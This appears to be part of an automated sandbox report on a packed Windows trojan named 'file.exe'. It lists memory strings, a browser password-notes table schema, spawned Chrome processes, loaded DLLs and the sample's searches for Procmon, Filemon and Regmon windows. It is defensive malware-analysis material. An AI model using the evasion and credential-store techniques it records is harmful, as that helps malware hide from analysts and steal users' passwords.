Source: file.exe, 00000000.00000003.2289846686.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298099686.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295814678.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301491387.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304732267.0000000005BF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294455349.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290251733.0000000005BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304037624.0000000005BF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300352528.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307811840.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297767157.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296177254.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289720417.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305685796.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303409373.0000000005D09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293830280.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292444702.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295140846.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305502607.0000000005F69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290428204.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290949976.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307516320.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295577572.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295058469.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308674243.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296957473.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333853973.00000000058C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294227399.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302378662.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292953627.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291553175.0000000005B7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299192660.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295458137.0000000005C75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294349480.0000000005ACC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295250658.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294952759.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303251492.0000000005BE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334202682.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2287838085.0000000005954000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307250672.0000000005F68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290716769.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301181139.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293992493.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290047435.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296690548.0000000005ACE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296441100.0000000005BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291432364.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297201849.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291821153.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302650308.0000000005BED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305013912.0000000005F6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292719285.0000000005B87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308245746.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302122092.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300816254.0000000005CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295696867.0000000005BAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298368778.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305871485.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301976614.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290834276.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306254197.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297403200.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306704713.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293631933.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291311664.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306454627.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305326738.0000000005BF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292328573.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296055913.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306059204.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301665859.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302235999.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292206444.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301329543.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291946131.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289625499.0000000005954000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302527588.0000000005ACE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2287838085.0000000005909000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295369178.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295939246.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2431682259.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290338110.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290522043.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.997447400990099
Source: file.exe	Static PE information: Section: tklziwfw ZLIB complexity 0.994904197080292

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/65@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2168988962.00000000057F5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169708126.00000000057D8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2182348333.00000000057FE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1988,i,5820746288978107784,3213896217040591065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1712 --field-trial-handle=2020,i,16253832576636000712,15236952978649801762,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1988,i,5820746288978107784,3213896217040591065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1712 --field-trial-handle=2020,i,16253832576636000712,15236952978649801762,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1923584 > 1048576

Source: file.exe

Static PE information: Raw size of tklziwfw is bigger than: 0x100000 < 0x1ac200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.4d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tklziwfw:EW;ovdkknhj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tklziwfw:EW;ovdkknhj:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1db0b3 should be: 0x1d6104

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tklziwfw
Source: file.exe	Static PE information: section name: ovdkknhj
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB24C1 push es; iretd	0_3_00EB2534
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB3381 push cs; retf	0_3_00EB3394
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB24C1 push es; iretd	0_3_00EB2534
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB3381 push cs; retf	0_3_00EB3394
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB24C1 push es; iretd	0_3_00EB2534
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00EB3381 push cs; retf	0_3_00EB3394

Source: file.exe	Static PE information: section name: entropy: 7.978399593089207
Source: file.exe	Static PE information: section name: tklziwfw entropy: 7.9545840236936325

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

